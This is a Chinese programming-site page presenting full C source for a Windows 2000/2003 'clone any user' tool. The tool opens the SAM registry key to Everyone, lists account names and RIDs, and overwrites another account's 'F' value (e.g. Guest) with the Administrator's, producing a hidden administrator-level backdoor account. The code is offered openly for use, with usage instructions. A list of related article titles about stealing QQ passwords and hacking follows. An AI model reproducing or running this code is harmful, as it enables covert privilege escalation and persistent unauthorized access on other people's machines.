| 以下是引用片段: #include <windows.h> #include <string.h> #include <stdio.h> #include <aclapi.h> char name[50][30]; int KeyN=0; LPTSTR lpObjectName; SE_OBJECT_TYPE ObjectType; //#include <aclapi.h> PACL OldDACL,NewDACL; PSECURITY_DESCRIPTOR SD; EXPLICIT_ACCESS ea; //OpenKey(),ViewUser(),ListUser()函数用到的变量 //显示用户名对应的安全标识符: void OpenKey (char *key); int ViewUser (char *key); int ListUser (void);//列出用户名和类型值(用户SID) int Clone (char *C_sid);//克隆帐户 void Usage (void);//帮助信息 //设置注册表的存取权限: void new(); void old(); void main (int argc, char *argv[]) { char C_Sid[10]; int n; if(argc<2) {Usage(); return;} //提升注册表SAM键的权限: new(); //如何使用命令行参数的方法: for (n=1;n<argc;n++) { if (argv[n][0] == '-') { switch(argv[n][1]) { case '?': case 'h': case 'H':Usage(); break; case 'l': case 'L':ListUser(); old(); break; case 'c': case 'C': if(argc<3) {printf("Useage:%s -c 1F5\n",argv[0]); old(); break;} strcpy(C_Sid,argv[2]);//获得屏幕输入并存入C_Sid字符数组 if (strlen(C_Sid)<=10) Clone(C_Sid); else printf("Error\n"); //恢复注册表的权限: old(); break; } } } } void OpenKey (char *key) { HKEY hkey;//注册表键值的句柄 DWORD dwIndex=0,lpcbname=100,ret=0; char T_name[100],Buffer[100]; FILETIME lpftlast; int i=0; //下面是字符数组清0: ZeroMemory(Buffer,100); ZeroMemory(T_name,100); ZeroMemory(name,1500); RegOpenKeyEx(HKEY_LOCAL_MACHINE, //根键名或已打开项的句柄 key, //传递一个参数,欲打开的注册表项 0, //未用,设为0即可 KEY_ALL_ACCESS, //描述新键值安全性的访问掩码 //它们的组合描述了允许对这个项进行哪些操作 &hkey);//装载上面打开项的句柄 for(i=0;ret==ERROR_SUCCESS;i++,dwIndex++)//遍历子键中的每个值 { ret=RegEnumKeyEx(hkey,dwIndex,T_name,&lpcbname, NULL,NULL,NULL,&lpftlast); //dwIndex:欲获取的子项的索引。第一个子项的索引编号为零 //T_name:用于装载指定索引处项名的一个缓冲区 //&lpcbname:指定一个变量,用于装载lpName缓冲区的实际长度(包括空字符)。 //一旦返回,它会设为实际装载到lpName缓冲区的字符数量 //NULL:未用,设为零 //NULL:项使用的类名 //NULL:用于装载lpClass缓冲区长度的一个变量 //&lpftlast:FILETIME,枚举子项上一次修改的时间 strcat(name[i],T_name);//将每个子键名加入到name[i]数组中 ZeroMemory(T_name,100);//清0 lpcbname=100; } //printf("subkey=%s\n",name[0]);//administrator RegCloseKey(hkey); //关闭注册键 //拼接用户名: for(KeyN=0;KeyN<i;KeyN++) { strcat(Buffer,name[KeyN]); strcat(Buffer,"\n\r"); } } int ViewUser (char *key) { HKEY hkey; DWORD lpType=0,ret; char S_name[10]; ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE, key,//如://SAM\\SAM\\Domains\\Account\\Users\\Names\\administrator 0, KEY_ALL_ACCESS, &hkey); if(ret==ERROR_SUCCESS) ; else return 0; RegQueryValueEx(hkey,NULL,NULL,&lpType,NULL,NULL); //NULL:要获取值的名字 //NULL:未用,设为零 //&lpType:用于装载取回数据类型的一个变量 //NULL:用于装载指定值的一个缓冲区 //NULL:用于装载lpData缓冲区长度的一个变量 wsprintf(S_name,"%X\n\r",lpType); printf("%s",S_name); return 1; } int ListUser (void) { int n; char Buffer[70]="SAM\\SAM\\Domains\\Account\\Users\\Names\\"; char Temp[40]={'\0'}; OpenKey("SAM\\SAM\\Domains\\Account\\Users\\Names"); for(n=0;n<KeyN;n++) { strcat(Buffer,name[n]);//SAM\\SAM\\Domains\\Account\\Users\\Names\\administrator wsprintf(Temp,name[n]); strcat(Temp,"===>"); printf("%s",Temp); ViewUser(Buffer); strcpy(Buffer,"SAM\\SAM\\Domains\\Account\\Users\\Names\\"); } return 1; } int Clone(char *C_sid) { HKEY hkey,C_hkey; DWORD Type=REG_BINARY,SizeF=1024*2,SizeV=1024*10,ret; char CloneSid[100]; LPBYTE lpDataF,lpDataV; //为注册表的F与V值分配空间: lpDataF = (LPBYTE) malloc(1024*2); lpDataV = (LPBYTE) malloc(1024*10); //清0: ZeroMemory(lpDataF,1024*2); ZeroMemory(lpDataV,1024*10); ZeroMemory(CloneSid,100); strcpy(CloneSid,"SAM\\SAM\\Domains\\Account\\Users\\00000"); strcat(CloneSid,C_sid);//如:SAM\\SAM\\Domains\\Account\\Users\\000001F5 ret= RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\000001F4", //administrator的子键 0, KEY_ALL_ACCESS, &hkey); if(ret==ERROR_SUCCESS) ; else return 0; //读出F值然后存入lpDataF中: ret = RegQueryValueEx(hkey,"F",NULL, &Type,lpDataF,&SizeF); if(ret==ERROR_SUCCESS) ; else return 0; //读出v值然后存入lpDataV中: ret = RegQueryValueEx(hkey,"V",NULL, &Type,lpDataV,&SizeV); if(ret==ERROR_SUCCESS) ; else return 0; //下面是打开需克隆用户如guest的键值: ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE, CloneSid, //如:SAM\\SAM\\Domains\\Account\\Users\\000001F5 0, KEY_ALL_ACCESS, &C_hkey); if(ret==ERROR_SUCCESS) ; else return 0; //将lpDataF中的值来替换需克隆用户的F值: ret= RegSetValueEx(C_hkey,"F",0, REG_BINARY, lpDataF, SizeF); //C_hkey:根键名或已打开项的句柄 //“F”:要设置值的名字 //0:未用,设为零 //REG_BINARY:要设置的数量类型 //lpDataF:包含数据的缓冲区中的第一个字节 //SizeF:lpData缓冲区的长度 if(ret==ERROR_SUCCESS) printf("Clone User Success\n"); else { printf("Clone User FAIL\n"); return 0; } //关闭已打开的注册表句柄: RegCloseKey(hkey); RegCloseKey(C_hkey); return 1; } void new() {//下面是设置SAM键的权限为everyone: lpObjectName = "MACHINE\\SAM\\SAM"; ObjectType =SE_REGISTRY_KEY; //建立一个空的ACL; if (SetEntriesInAcl(0, NULL, NULL, & OldDACL)!=ERROR_SUCCESS) return; if (SetEntriesInAcl(0, NULL, NULL, &NewDACL)!=ERROR_SUCCESS) return; //获取现有的ACL列表到OldDACL: if(GetNamedSecurityInfo(lpObjectName, ObjectType, DACL_SECURITY_INFORMATION, NULL, NULL, &OldDACL, NULL, &SD) != ERROR_SUCCESS) printf("指定的键不存在!\n"); // 本文转自 C++Builder 研究 - [url]http://www.ccrun.com/article.asp?i=563&d=tshoza[/url] //设置用户名"Everyone"对指定的键有所有操作权到结构ea: ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS)); BuildExplicitAccessWithName(&ea, "Everyone", // name of trustee KEY_ALL_ACCESS, // type of access SET_ACCESS, // access mode SUB_CONTAINERS_AND_OBJECTS_INHERIT); //子键继承它的权限 //合并结构ea和OldDACL的权限列表到新的NewDACL: if(SetEntriesInAcl(1, &ea, NULL, &NewDACL) != ERROR_SUCCESS) goto Cleanup; //把新的ACL写入到指定的键: SetNamedSecurityInfo(lpObjectName, ObjectType, DACL_SECURITY_INFORMATION, NULL, NULL, NewDACL, NULL); //释放指针 Cleanup: if(SD != NULL) LocalFree((HLOCAL) SD); if(NewDACL != NULL) LocalFree((HLOCAL) NewDACL); if(OldDACL != NULL) LocalFree((HLOCAL) OldDACL); } void old() { //恢复注册表的权限: BuildExplicitAccessWithName(&ea, "system", // name of trustee KEY_ALL_ACCESS, // type of access SET_ACCESS, // access mode SUB_CONTAINERS_AND_OBJECTS_INHERIT); //让子键继承他的权限 if(SetEntriesInAcl(1, &ea, NULL, &OldDACL) != ERROR_SUCCESS) goto Cleanup; //把旧的ACL写入到指定的键: SetNamedSecurityInfo(lpObjectName, ObjectType, DACL_SECURITY_INFORMATION, NULL, NULL, OldDACL, NULL); //释放指针 Cleanup: if(SD != NULL) LocalFree((HLOCAL) SD); if(NewDACL != NULL) LocalFree((HLOCAL) NewDACL); if(OldDACL != NULL) LocalFree((HLOCAL) OldDACL); } //输出帮助的典型方法: void Usage (void) { fprintf(stderr,"===============================================================================\n" "\t名称:2003与2000下克隆任意用户程序\n" "\t环境:Win2003 + Visual C++ 6.0\n" "\t作者:[email]pt007@vip.sina.com[/email]\n" "\tQQ:7491805\n" "\t声明:本软件由pt007原创,转载请注明出处,谢谢!\n" "\n" "\t使用方法:\n" "\t\"-H\":帮助信息\n" "\t\"-L\":列出系统中用户对应的SID\n" "\t\"-C 1F5\":克隆帐户,输入SID即可\n" "\t 对应注册表HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\n" "\t 对应注册表HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\Names\n" "\n" "\t注意事项:\n" "\t由于SID的前5位都是\"0\",所以不必输入,直接输入最后三位\n" "\t例如:000001F5,则直接输入1F5,即可将Guest帐户克隆\n" "===============================================================================\n"); } |
| Visual C++编程窃取QQ密码 | 12-08 | |
| 编程实现重起网卡等设备 | 12-07 | |
| 一个邮件群发的Delphi代码! | 12-06 | |
| Delphi下Internet的编程技巧 | 11-20 | |
| Delphi黑客编程-如何映射虚拟盘 | 11-15 | |
| 用DETOURS库获取NT管理员权限 | 11-08 | |
| 一篇关于vb代码质量提高的文章 | 10-30 | |
| 解析Asp.net木马文件操作 | 10-04 | |
| 盗QQ源码 | 10-01 | |
| 如何映射肉鸡磁盘(Delphi黑客编程 | 09-24 | |
| 打造无DLL版穿墙Downloader(Delp | 09-22 | |
| 调用指定的Windows程序(Delphi编 | 09-19 | |